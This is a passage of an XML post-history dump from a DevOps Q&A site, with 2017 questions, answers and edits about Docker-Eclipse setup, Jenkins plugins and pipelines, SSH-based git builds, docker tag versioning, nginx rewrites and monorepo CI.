a message appear to confirm that the ping was successful.&#xD;&#xA;&#xD;&#xA;At this point you'll be able to see your containers and images in Eclipse's Docker Explorer perspective.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7288" PostHistoryTypeId="2" PostId="2317" RevisionGUID="b814accf-df3f-49db-82ba-a38aeb270826" CreationDate="2017-10-13T20:59:45.190" UserId="3899" Text="You may consider these two Jenkins plugins for it: &#xD;&#xA;&#xD;&#xA;https://wiki.jenkins.io/display/JENKINS/Mailer&#xD;&#xA;&#xD;&#xA;https://wiki.jenkins.io/display/JENKINS/Email-ext+plugin&#xD;&#xA;&#xD;&#xA;The first one is mostly basic and the second one is extended for additional user customizations. All necessary instructions regarding configuration, etc are described there. &#xD;&#xA;&#xD;&#xA;&gt;&gt;&gt;How we can get mail server setting details like mail server name, port number, using SSL, etc. for such email services?&#xD;&#xA;&#xD;&#xA;I am afraid that the best approach here is either refer to your system administrator who is resposible for it or contact with the provider who provides mail services. " ContentLicense="CC BY-SA 3.0" />
  <row Id="7290" PostHistoryTypeId="2" PostId="2319" RevisionGUID="d80947a5-be69-4e11-9dfd-c41f95eb144f" CreationDate="2017-10-13T21:48:17.670" UserId="3899" Text="You may try something like this: &#xD;&#xA;&#xD;&#xA;    node('my_kubernetes_pod') {&#xD;&#xA;        passedBuilds = []&#xD;&#xA;    &#xD;&#xA;        lastSuccessfulBuild(passedBuilds, currentBuild);&#xD;&#xA;    &#xD;&#xA;        def changeLog = getChangeLog(passedBuilds)&#xD;&#xA;        echo &quot;changeLog ${changeLog}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    def lastSuccessfulBuild(passedBuilds, build) {&#xD;&#xA;        if ((build != null) &amp;&amp; (build.result != 'SUCCESS')) {&#xD;&#xA;            passedBuilds.add(build)&#xD;&#xA;            lastSuccessfulBuild(passedBuilds, build.getPreviousBuild())&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    @NonCPS&#xD;&#xA;    def getChangeLog(passedBuilds) {&#xD;&#xA;        def log = &quot;&quot;&#xD;&#xA;        for (int x = 0; x &lt; passedBuilds.size(); x++) {&#xD;&#xA;            def currentBuild = passedBuilds[x];&#xD;&#xA;            def changeLogSets = currentBuild.rawBuild.changeSets&#xD;&#xA;            for (int i = 0; i &lt; changeLogSets.size(); i++) {&#xD;&#xA;                def entries = changeLogSets[i].items&#xD;&#xA;                for (int j = 0; j &lt; entries.length; j++) {&#xD;&#xA;                    def entry = entries[j]&#xD;&#xA;                    log += &quot;* ${entry.msg} by ${entry.author} \n&quot;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        return log;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Additionally, you may try out &quot;Changes Since Last Success Plugin&quot;:&#xD;&#xA;https://wiki.jenkins.io/display/JENKINS/Changes+Since+Last+Success+Plugin&#xD;&#xA;&#xD;&#xA;But it will not work together with pipeline, this is a separate approach." ContentLicense="CC BY-SA 3.0" />
  <row Id="7291" PostHistoryTypeId="2" PostId="2320" RevisionGUID="544555ed-0a25-40e6-a0d7-36b1f33459c1" CreationDate="2017-10-14T00:02:54.653" UserId="4369" Text="My organisation is experiencing an explosion of microservices. We currently have no formalised way of bootstrapping new projects. I'm finding that a team will come to me with a bug in their deployment or build process, and I will spend time on it only to realise I've already resolved it in another project. There's also a lot of inconsistency between projects that I'd like to see standardised.&#xD;&#xA;&#xD;&#xA;The changes often involve a single file (e.g. serverless.yml or a Makefile) so a solution involving shared libraries e.g. git submodules doesn't seem viable.&#xD;&#xA;&#xD;&#xA;How can I ensure that new microservices conform to organisation standards and include bugfixes/features from existing projects in a way that's easy and intuitive for developers who want to start new projects? What are some best practises around resolving these issues?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7292" PostHistoryTypeId="1" PostId="2320" RevisionGUID="544555ed-0a25-40e6-a0d7-36b1f33459c1" CreationDate="2017-10-14T00:02:54.653" UserId="4369" Text="How can I ensure consistency between new microservices?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7293" PostHistoryTypeId="3" PostId="2320" RevisionGUID="544555ed-0a25-40e6-a0d7-36b1f33459c1" CreationDate="2017-10-14T00:02:54.653" UserId="4369" Text="&lt;toolchain&gt;&lt;project-management&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7294" PostHistoryTypeId="6" PostId="2320" RevisionGUID="02c021b1-daa0-4ff0-a4a2-5e209d01622e" CreationDate="2017-10-14T00:57:10.737" UserId="4369" Comment="edited tags" Text="&lt;project-management&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7295" PostHistoryTypeId="5" PostId="2315" RevisionGUID="d8cb9900-94e1-46ee-9a77-cf3b8f24f749" CreationDate="2017-10-14T05:45:14.383" UserId="739" Comment="formatting" Text="Under Windows 10, you'll find the Docker Machine (`docker-machine.exe`) under: `C:\Program Files\Docker\Docker\resources\bin`&#xD;&#xA;&#xD;&#xA;This is the value you need to put in the Docker Machine field.&#xD;&#xA;You don't need to change anything for the VM Driver field as VirtualBox doesn't need to be installed when you use Docker for Windows.&#xD;&#xA;&#xD;&#xA;Then you have to edit some setting of the Docker daemon to allow your Eclipse Docker plugin to connect to it:&#xD;&#xA;&#xD;&#xA;1. First of all, check if the Docker daemon is running by clicking on the Task &#xD;&#xA;View button on the Windows taskbar. &#xD;&#xA;&#xD;&#xA;1. Mouse over the Docker icon and the tooltip should say: Docker is running.&#xD;&#xA;&#xD;&#xA;1. If it's running, right-click the Docker icon to open the Docker contextual menu and go to Settings.&#xD;&#xA;&#xD;&#xA;1. In the General Tab, which you will land on by default, Make sure the &#xD;&#xA;&quot;Expose daemon on tcp://localhost:2375 without TLS&quot; checkbox is checked.&#xD;&#xA;(It isn't by default)&#xD;&#xA;&#xD;&#xA;You can now Edit your Docker Connection in Eclipse and do not need to search for a connection name, simply enter how you want to name it (ie. SomeDockerConnection) and check the &quot;TCP Connection&quot; radio button. &#xD;&#xA;&#xD;&#xA;You can enter `tcp://localhost:2375` in the URI and click &quot;Test Connection&quot;.&#xD;&#xA;You should see a message appear to confirm that the ping was successful.&#xD;&#xA;&#xD;&#xA;At this point you'll be able to see your containers and images in Eclipse's Docker Explorer perspective.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7296" PostHistoryTypeId="24" PostId="2315" RevisionGUID="d8cb9900-94e1-46ee-9a77-cf3b8f24f749" CreationDate="2017-10-14T05:45:14.383" Comment="Proposed by 739 approved by -1 edit id of 492" ContentLicense="CC BY-SA 3.0" />
  <row Id="7297" PostHistoryTypeId="5" PostId="2315" RevisionGUID="480c21bb-7e19-4b6b-87c8-07bd28af8d51" CreationDate="2017-10-14T05:45:14.383" UserId="40" Comment="deleted 2 characters in body" Text="Under Windows 10, you'll find the Docker Machine (`docker-machine.exe`) under: `C:\Program Files\Docker\Docker\resources\bin`&#xD;&#xA;&#xD;&#xA;This is the value you need to put in the Docker Machine field.&#xD;&#xA;You don't need to change anything for the VM Driver field as VirtualBox doesn't need to be installed when you use Docker for Windows.&#xD;&#xA;&#xD;&#xA;Then you have to edit some setting of the Docker daemon to allow your Eclipse Docker plugin to connect to it:&#xD;&#xA;&#xD;&#xA;1. First of all, check if the Docker daemon is running by clicking on the Task View button on the Windows taskbar. &#xD;&#xA;&#xD;&#xA;2. Mouse over the Docker icon and the tooltip should say: Docker is running.&#xD;&#xA;&#xD;&#xA;3. If it's running, right-click the Docker icon to open the Docker contextual menu and go to Settings.&#xD;&#xA;&#xD;&#xA;4. In the General Tab, which you will land on by default, Make sure the &#xD;&#xA;&quot;Expose daemon on tcp://localhost:2375 without TLS&quot; checkbox is checked.&#xD;&#xA;(It isn't by default)&#xD;&#xA;&#xD;&#xA;You can now edit your Docker Connection in Eclipse and do not need to search for a connection name, simply enter how you want to name it (ie. SomeDockerConnection) and check the &quot;TCP Connection&quot; radio button. &#xD;&#xA;&#xD;&#xA;You can enter `tcp://localhost:2375` in the URI and click &quot;Test Connection&quot;.&#xD;&#xA;You should see a message appear to confirm that the ping was successful.&#xD;&#xA;&#xD;&#xA;At this point you'll be able to see your containers and images in Eclipse's Docker Explorer perspective.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7298" PostHistoryTypeId="5" PostId="2236" RevisionGUID="707d8dba-493c-4a13-8d59-ce6733e62232" CreationDate="2017-10-14T06:41:26.560" UserId="4593" Comment="added 5 characters in body" Text="You can try this, it works for me:&#xD;&#xA;&#xD;&#xA;1. Create a user named &quot;git&quot;&#xD;&#xA;&#xD;&#xA;        $ sudo adduser git&#xD;&#xA;        $ su git&#xD;&#xA;        $ cd ~&#xD;&#xA;        $ mkdir .ssh &amp;&amp; chmod 700 .ssh&#xD;&#xA;        $ touch .ssh/authorized_keys &amp;&amp; chmod 600 .ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;2. If you don't have ssh keys for &quot;nou&quot; user then, from &quot;nou&quot; user run&#xD;&#xA;&#xD;&#xA;        $ ssh-keygen&#xD;&#xA;&#xD;&#xA; and accept all defaults.&#xD;&#xA;&#xD;&#xA;3. Add &quot;nou&quot; user's ssh public key to git user ~/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;        $ sudo cat nou_user_home/.ssh/id_rsa.pub &gt;&gt; git_user_home/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;After this try below command from &quot;nou&quot; user:&#xD;&#xA;&#xD;&#xA;    docker build git@localhost:/home/nou/code/lib.git&#xD;&#xA;&#xD;&#xA;If `Dockerfile` is not at the root of cloned repository then:&#xD;&#xA;&#xD;&#xA;    docker build -f folder_containing_dockerfile/Dockerfile &#xD;&#xA;    git@localhost:/home/nou/code/lib.git&#xD;&#xA;&#xD;&#xA;If this all works fine then you can try with your `docker-compose` file." ContentLicense="CC BY-SA 3.0" />
  <row Id="7302" PostHistoryTypeId="50" PostId="1654" RevisionGUID="aca8682c-7e97-44be-84e3-4310c1af6b21" CreationDate="2017-10-14T13:50:49.820" UserId="-1" />
  <row Id="7306" PostHistoryTypeId="50" PostId="2006" RevisionGUID="fc25bc56-9cfb-4e13-8baa-672c4a8e2d54" CreationDate="2017-10-15T09:11:52.807" UserId="-1" />
  <row Id="7307" PostHistoryTypeId="5" PostId="1508" RevisionGUID="ca7544c4-f73e-4216-9dfd-bee164809ca2" CreationDate="2017-10-15T11:45:24.520" UserId="210" Comment="added 6 characters in body" Text="I've recently hooked our CI servers up to build docker images upon git commit. &#xD;&#xA;&#xD;&#xA;We have about 8 different containers that get built, each with their own language / frameworks. Some are node and have a package.json, others are python services that contain no semantic version information. &#xD;&#xA;&#xD;&#xA;My question is not about how to create tags, its about creating the values for the tag.&#xD;&#xA;&#xD;&#xA;How to ensure that each tag has a unique semantic version number for the specific images? Who should be the authority on tracking / incrementing a build version?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7308" PostHistoryTypeId="6" PostId="1508" RevisionGUID="ca7544c4-f73e-4216-9dfd-bee164809ca2" CreationDate="2017-10-15T11:45:24.520" UserId="210" Comment="added 6 characters in body" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;versioning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7309" PostHistoryTypeId="2" PostId="2324" RevisionGUID="0d19d2ae-566c-4ce8-9898-6b28d17dd303" CreationDate="2017-10-15T11:50:46.220" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7310" PostHistoryTypeId="1" PostId="2324" RevisionGUID="0d19d2ae-566c-4ce8-9898-6b28d17dd303" CreationDate="2017-10-15T11:50:46.220" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7311" PostHistoryTypeId="2" PostId="2325" RevisionGUID="363cc27d-50d0-4a95-9aac-6fbb1417403f" CreationDate="2017-10-15T11:50:46.220" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7312" PostHistoryTypeId="1" PostId="2325" RevisionGUID="363cc27d-50d0-4a95-9aac-6fbb1417403f" CreationDate="2017-10-15T11:50:46.220" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7313" PostHistoryTypeId="2" PostId="2326" RevisionGUID="21c5d304-f1ef-46ac-81d4-77dec9b32e03" CreationDate="2017-10-15T12:21:14.683" UserId="210" Text="&gt; How to ensure that each tag has a unique semantic version number for&#xD;&#xA;&gt; the specific images?&#xD;&#xA;&#xD;&#xA;One could create a tag that consists of multiple elements, e.g. a combination of a timestamp, git commit hash and semantic version. The latter has to be set manually, while the first two could be automated. Such a tag could look as follows:&#xD;&#xA;&#xD;&#xA;    20171015141729-58617f500f7efe236c7ba6a1dfdf37a478b4c878-0.1.4&#xD;&#xA;&#xD;&#xA;This tag contains the date of build, the commit and the semantic version. If a docker image runs in production and a bug is found then one knows the version of the product, the code that is inside and when the image was built and under what circumstances.&#xD;&#xA;&#xD;&#xA;&gt; Who should be the authority on tracking / incrementing a build&#xD;&#xA;&gt; version?&#xD;&#xA;&#xD;&#xA;In my opinion this should be the responsibility of the CI as this is able to automate processes and as the creation of tags could be automated such a tool is the right tool for the job." ContentLicense="CC BY-SA 3.0" />
  <row Id="7314" PostHistoryTypeId="4" PostId="1508" RevisionGUID="3702fc34-19ed-491e-b21e-cde429dfe7f8" CreationDate="2017-10-15T12:27:19.557" UserId="210" Comment="edited title" Text="What are best practices for docker tag versioning?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7316" PostHistoryTypeId="13" PostId="2254" RevisionGUID="4f848969-231e-4eef-adbb-66f8c2be3385" CreationDate="2017-10-15T12:36:50.233" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="7317" PostHistoryTypeId="5" PostId="1517" RevisionGUID="e71d85a0-4ced-4e4e-b5bb-670deb5ce30c" CreationDate="2017-10-15T13:02:32.950" UserId="40" Comment="added 1 character in body" Text="Here are my requirements and I go back-and-forth on how to achieve them:&#xD;&#xA;&#xD;&#xA; - Must build Java spring-boot apps&#xD;&#xA; - Artifacts must be released to artifactory repository&#xD;&#xA; - Docker image to be built directly relating to the artifact `group/artifactId/version`&#xD;&#xA; - Docker image to be deployed to AWS ACR&#xD;&#xA; - Container deployment via cloud formation&#xD;&#xA; - Maintain 2 branches in a git repo: `dev` and `master`. `dev` releases to our development environment and `master` is for prod (I have tried to explain that this approach made sense when code was app (php) but not when you have a release artifact)&#xD;&#xA; - All branches off `dev` must build and test independently but NOT release even snapshots (doesn't apply to master as no one should be working off master)&#xD;&#xA; - **best part** `dev` and `prod` builds must be done under entirely different AWS credentials and accounts into totally different VPCs&#xD;&#xA;&#xD;&#xA;Given these requirements I believe need a `multi-configuration` pipeline - one for the {prod/master} and {development/dev} arrangement to successfully capture the credential and deployment differences and point them at different branches. What I can't seem to do is get the `dev` configuration to ALSO build the branches from dev - I have no pattern I can match - the branches don't look like `dev-.*` - they are mapped directly to Jira tickets.&#xD;&#xA;&#xD;&#xA;Can I even do such a thing? I feel like this last part is where my multi-config is breaking down." ContentLicense="CC BY-SA 3.0" />
  <row Id="7319" PostHistoryTypeId="50" PostId="2021" RevisionGUID="7c1bc44d-1cca-4b13-9624-177115267889" CreationDate="2017-10-15T14:14:25.993" UserId="-1" />
  <row Id="7320" PostHistoryTypeId="2" PostId="2328" RevisionGUID="24935241-2781-4fb0-b5e0-c08f438a08dc" CreationDate="2017-10-15T14:37:09.083" UserId="210" Text="One could replace&#xD;&#xA;&#xD;&#xA;    rewrite /(.*) /ipns/QmdpoFuwY/$1 break;&#xD;&#xA;&#xD;&#xA;with&#xD;&#xA;&#xD;&#xA;    rewrite ^(.*[^/]) /ipns/QmdpoFuwY/$1 break;&#xD;&#xA;&#xD;&#xA;and try again." ContentLicense="CC BY-SA 3.0" />
  <row Id="7321" PostHistoryTypeId="5" PostId="2328" RevisionGUID="0a3587dd-30be-4d11-8e4b-0ef36aedd733" CreationDate="2017-10-15T14:55:45.317" UserId="210" Comment="added 391 characters in body" Text="One could replace&#xD;&#xA;&#xD;&#xA;    rewrite /(.*) /ipns/QmdpoFuwY/$1 break;&#xD;&#xA;&#xD;&#xA;with&#xD;&#xA;&#xD;&#xA;    rewrite ^(.*[^/]) /ipns/QmdpoFuwY/$1 break;&#xD;&#xA;&#xD;&#xA;and try again.&#xD;&#xA;&#xD;&#xA;The issue was solved by inspecting the logs. If for example one navigated to `/foo/` instead of `/foo/` the log indicated:&#xD;&#xA;&#xD;&#xA;    2017/10/15 14:51:28 [error] 7#7: *1 &quot;/etc/nginx/html/index.html/foo.html&quot; is not found (20: Not a directory)&#xD;&#xA;&#xD;&#xA;It turned out that the regex did not match `/foo/`. One could also enable the rewrite logging to facilitate debugging:&#xD;&#xA;&#xD;&#xA;    rewrite_log on;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7322" PostHistoryTypeId="6" PostId="720" RevisionGUID="45a98d3e-ad31-44ae-80d0-eeb10e2abff9" CreationDate="2017-10-15T14:58:03.583" UserId="210" Comment="edited tags" Text="&lt;configuration-management&gt;&lt;configuration&gt;&lt;monorepo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7323" PostHistoryTypeId="5" PostId="2137" RevisionGUID="52d58e1c-c1ac-4493-bfb2-64702110dd61" CreationDate="2017-10-15T14:58:50.183" UserId="210" Comment="edited body" Text="&gt; If this is translated to a monorepo that means that 1 change results&#xD;&#xA;&gt; in 3 pipeline triggers, while in some cases only 1 pipeline should be&#xD;&#xA;&gt; triggered.&#xD;&#xA;&#xD;&#xA;I would definitely take this point into further consideration. One of the most compelling reasons for using a monorepo is that it does not create a technical separation of projects. There is only a logical separation, with the only technical distinction possibly being your versioning (unless you have a universal version number). This means, that you have no 100% guarantee that any one project does not depend on another project. Because of this, your final pipeline at some point should include **all of the projects** within your repository. By doing so, you are guaranteeing that a change to one project does not negatively impact any other projects in your repository (at the cost of the project with the longest time to build, publish, etc.). &#xD;&#xA;&#xD;&#xA;That being said, if there are some steps in your pipeline that you would like to run separately (lint, syntax, compile, etc.), most CI's should have a way to filter your repo for a specific folder/project. If it doesn't, and you still don't want to run against all projects, you may need to consider refactoring your repository into [separate repos][1] or changing CI tools to comply with your workflow. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://puppet.com/blog/refactor-your-monolithic-code-repo-to-deploy-r10k" ContentLicense="CC BY-SA 3.0" />
  <row Id="7324" PostHistoryTypeId="5" PostId="720" RevisionGUID="0cd33453-a5cd-4110-baae-3aadc0e9ee03" CreationDate="2017-10-15T15:28:32.413" UserId="40" Comment="deleted 87 characters in body; edited title" Text="We have a mono-laravel-repo and are in the process of migrating to a cleaner, easier to maintain dev reboot.&#xD;&#xA;&#xD;&#xA;We have recently moved towards migrating our existing PHP based views into multiple React-based &quot;features&quot; that live in a `/react` directory and are organised into `/react/featureName` sub-directories. This means Laravel's controllers mostly handle data and authentication only.&#xD;&#xA;&#xD;&#xA;Each feature is maintained by one or more developers, have their own dependencies, tests and functionality. &#xD;&#xA;&#xD;&#xA;We're currently serving builds in the public root of our project organised by feature:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    js/FeatureName.hashed.js&#xD;&#xA;    css/FeatureName.hased.css&#xD;&#xA;&#xD;&#xA;which works great except that we share many packages between `features`. React itself, react-router etc.&#xD;&#xA;&#xD;&#xA;We intend to use Laravel's `mix.js` as much as possible, but hacking directly on `webpack.config` is also an option. &#xD;&#xA;&#xD;&#xA;I've explored the `mix.extract()` option that allows us to define *vendor.js* builds separate from other application logic but it stops there.&#xD;&#xA;&#xD;&#xA;So here are my question(s)&#xD;&#xA;&#xD;&#xA; 1. What approaches are there to manage multiple `package.json` files that live in each feature directory&#xD;&#xA; 2. How do we identify common packages and lock them into a root `/package.json` file. (Independently, all developers already use `yarn`)&#xD;&#xA; 3. How to accomplish this with as little friction as possible for all react based developers - so that they get to simply continue with whatever they are already doing and DevOps handles the gritty bits?&#xD;&#xA;&#xD;&#xA;I understand there might be a need for more information, please shout out what you need in the comments and I'd be happy to update the question." ContentLicense="CC BY-SA 3.0" />
  <row Id="7325" PostHistoryTypeId="4" PostId="720" RevisionGUID="0cd33453-a5cd-4110-baae-3aadc0e9ee03" CreationDate="2017-10-15T15:28:32.413" UserId="40" Comment="deleted 87 characters in body; edited title" Text="How to integrate multiple &quot;feature&quot; react apps into monolithic PHP repo?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7326" PostHistoryTypeId="2" PostId="2329" RevisionGUID="3cc6aa6f-7603-4356-9906-8d50a7fc34fb" CreationDate="2017-10-15T17:47:33.440" UserId="4234" Text="i am a devops learner, just finished graduation actively looking for jobs in the field of DevOps.&#xD;&#xA;&#xD;&#xA;I am learning many tools like GIT, jenkins, chef, docker , nagious, ELK, AWS etc.&#xD;&#xA;&#xD;&#xA;Can anyone link all the DevOps tools together and give me a scenario where and how a company uses these tools at different times ?&#xD;&#xA;&#xD;&#xA;thanks in Adv." ContentLicense="CC BY-SA 3.0" />
  <row Id="7327" PostHistoryTypeId="1" PostId="2329" RevisionGUID="3cc6aa6f-7603-4356-9906-8d50a7fc34fb" CreationDate="2017-10-15T17:47:33.440" UserId="4234" Text="Wanted Creativity Use Case Scenario" ContentLicense="CC BY-SA 3.0" />
  <row Id="7328" PostHistoryTypeId="3" PostId="2329" RevisionGUID="3cc6aa6f-7603-4356-9906-8d50a7fc34fb" CreationDate="2017-10-15T17:47:33.440" UserId="4234" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;chef&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7329" PostHistoryTypeId="5" PostId="2329" RevisionGUID="2b44edca-16a6-409b-aacb-2cc0efcf4d60" CreationDate="2017-10-15T18:14:51.113" UserId="40" Comment="deleted 18 characters in body; edited title" Text="i am a devops learner, just finished graduation actively looking for jobs in the field of DevOps.&#xD;&#xA;&#xD;&#xA;I am learning many tools like GIT, Jenkins, Chef, Docker , Nagious, ELK, AWS, etc.&#xD;&#xA;&#xD;&#xA;Can anyone link all the DevOps tools together and give me a scenario where and how a company uses these tools at different times?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7330" PostHistoryTypeId="4" PostId="2329" RevisionGUID="2b44edca-16a6-409b-aacb-2cc0efcf4d60" CreationDate="2017-10-15T18:14:51.113" UserId="40" Comment="deleted 18 characters in body; edited title" Text="Creativity use case scenario?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7331" PostHistoryTypeId="2" PostId="2330" RevisionGUID="47d3b241-208d-44aa-a45c-dd3bdff54165" CreationDate="2017-10-15T18:43:24.607" UserId="4175" Text="Your question is quite vague/generic.&#xD;&#xA;&#xD;&#xA;People store their source code (or generally, files) in git; let Jenkins run jobs (like CI/CD pipelines), use Docker to put their software into well-defined containers, Nagios to monitor their systems, ELK to collect, store and visualize (mostly logging, event) data, AWS to host their stuff, and Chef to manage their configurations.&#xD;&#xA;&#xD;&#xA;If you are studying that and learning about it, then you should have gotten that kind of information, really. The scenario in real world companies is simply to use those tools for what they are made, in different combinations as needed.&#xD;&#xA;&#xD;&#xA;If you really have just gotten some deficient information from your college or wherever you studied those things, then get a book like The DevOps Handbook and give it a read. It should clear up how all of this would work together in the real world." ContentLicense="CC BY-SA 3.0" />
  <row Id="7332" PostHistoryTypeId="2" PostId="2331" RevisionGUID="72801fd6-6c72-42dc-b052-6d43daaa0481" CreationDate="2017-10-16T06:42:33.303" UserId="2334" Text="This depends a lot on the specific architecture, but for example:&#xD;&#xA;&#xD;&#xA; - Front load your website with CloudFront to reduce load on the host&#xD;&#xA; - Use client side hosting service in something like S3 for scale&#xD;&#xA; - Elastic Load Balancer with an Autoscaling group" ContentLicense="CC BY-SA 3.0" />
  <row Id="7334" PostHistoryTypeId="10" PostId="2329" RevisionGUID="235784e5-6968-4e21-b943-0ab8ff01dafd" CreationDate="2017-10-16T08:08:05.583" UserId="13" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="7335" PostHistoryTypeId="2" PostId="2332" RevisionGUID="c22615d5-fa66-4247-b427-7c9bbb3ffd5f" CreationDate="2017-10-16T08:26:45.267" UserId="4758" Text="I have a shared web server with multiple sites and each site has a dedicated user used as the owner and with the group apache.&#xD;&#xA;&#xD;&#xA;I want to install Jenkins node on the server, but how will it be able to change files and run commands like `git pull`, I think that using `runuser` will miss the point.&#xD;&#xA;&#xD;&#xA;The script on the node will basically run `git pull`, `drush` commands (Drupal sites), rsync from remote server and more.&#xD;&#xA;I will also need to run chmod and chown at the end, but maybe for those commands I will just use the sudoers file (?).&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 3.0" />
  <row Id="7336" PostHistoryTypeId="1" PostId="2332" RevisionGUID="c22615d5-fa66-4247-b427-7c9bbb3ffd5f" CreationDate="2017-10-16T08:26:45.267" UserId="4758" Text="Jenkins node (agent) on shared web server - what are the right permissions" ContentLicense="CC BY-SA 3.0" />
  <row Id="7337" PostHistoryTypeId="3" PostId="2332" RevisionGUID="c22615d5-fa66-4247-b427-7c9bbb3ffd5f" CreationDate="2017-10-16T08:26:45.267" UserId="4758" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7339" PostHistoryTypeId="2" PostId="2334" RevisionGUID="5130508a-993c-4ed6-af71-62e98307c6a6" CreationDate="2017-10-16T13:53:21.823" UserId="47" Text="A not very devopsy, but quite simple and effective solution with no security implications (no credential exchange or authentication required) would be to establish a file-based &quot;message&quot; exchange scheme, in a &quot;mailbox&quot; - a well-known filesystem location (setup once and owned by `root`) with 2 directories:&#xD;&#xA;&#xD;&#xA;- one owned by the jenkins user which creates **request** files containing deployment request information, one for each site&#xD;&#xA;- one owned by the apache group where each site dedicated users create their own **response** files containing request handling information for deployment requests for their site&#xD;&#xA;&#xD;&#xA;Each site user periodically (cron-driven, for example) checks for **request** files pertaining to their site, handle the request as appropriate, following their own site policies and provide status updates in the respective **response** files, which the jenkins user checks periodically.&#xD;&#xA;&#xD;&#xA;When a request handling is completed the jenkins user removes the **request** file, signalling that it received the &quot;message&quot; and then the site user periodical job can remove the corresponding **response** file.&#xD;&#xA;&#xD;&#xA;The names of the **request** and **response** files can be used to encode the particular site and request identification, so that the periodical checks don't have to fumble through multiple files.&#xD;&#xA;&#xD;&#xA;The scheme can easily work across machines (if, for example, some of the sites are migrated to other servers) simply by placing the &quot;mailbox&quot; on a shared filesystem accessible from all those machines.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7340" PostHistoryTypeId="5" PostId="2334" RevisionGUID="809fb8f1-58d0-4c25-bf18-fed8fd6b57db" CreationDate="2017-10-16T13:59:51.657" UserId="47" Comment="added 158 characters in body" Text="A not very devopsy, but quite simple and effective solution with no security implications (no credential exchange or authentication required) would be to establish a file-based &quot;message&quot; exchange scheme, in a &quot;mailbox&quot; - a well-known filesystem location (setup once and owned by `root`) with 2 directories:&#xD;&#xA;&#xD;&#xA;- one owned by the jenkins user which creates **request** files containing deployment request information, one for each site&#xD;&#xA;- one owned by the apache group where each site dedicated users create their own **response** files containing request handling information for deployment requests for their site&#xD;&#xA;&#xD;&#xA;When jenkins processing reaches a deployment stage for a particular site it creates a corresponding **request** file with the necessary information in it.&#xD;&#xA;&#xD;&#xA;Each site user periodically (cron-driven, for example) checks for **request** files pertaining to their site, handle the request as appropriate, following their own site policies and provide status updates in the respective **response** files, which the jenkins user checks periodically.&#xD;&#xA;&#xD;&#xA;When a request handling is completed the jenkins user removes the **request** file, signalling that it received the &quot;message&quot; and then the site user periodical job can remove the corresponding **response** file.&#xD;&#xA;&#xD;&#xA;The names of the **request** and **response** files can be used to encode the particular site and request identification, so that the periodical checks don't have to fumble through multiple files.&#xD;&#xA;&#xD;&#xA;The scheme can easily work across machines (if, for example, some of the sites are migrated to other servers) simply by placing the &quot;mailbox&quot; on a shared filesystem accessible from all those machines.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7341" PostHistoryTypeId="2" PostId="2335" RevisionGUID="96ff6854-94df-4ce1-b2c6-132b04b99c1a" CreationDate="2017-10-16T14:04:22.520" UserId="707" Text="Six Sigma's DMAIC has been there before continuous procedures, so I think more or less these concepts have been nourishing ITIL, then CI/CD and now DevOps as well.&#xD;&#xA;&#xD;&#xA;Still I am not sure whether we have an established data model for exampel to allow DMAIC across many iterations.&#xD;&#xA;&#xD;&#xA;Question: do you know of examples of practices/ aligning DMAIC with DevOps (at the measure side, first of all)? Does it make sense?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7342" PostHistoryTypeId="1" PostId="2335" RevisionGUID="96ff6854-94df-4ce1-b2c6-132b04b99c1a" CreationDate="2017-10-16T14:04:22.520" UserId="707" Text="DMAIC - Define, Measure, Analyse, Improve, Control in the DevOps world?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7343" PostHistoryTypeId="3" PostId="2335" RevisionGUID="96ff6854-94df-4ce1-b2c6-132b04b99c1a" CreationDate="2017-10-16T14:04:22.520" UserId="707" Text="&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
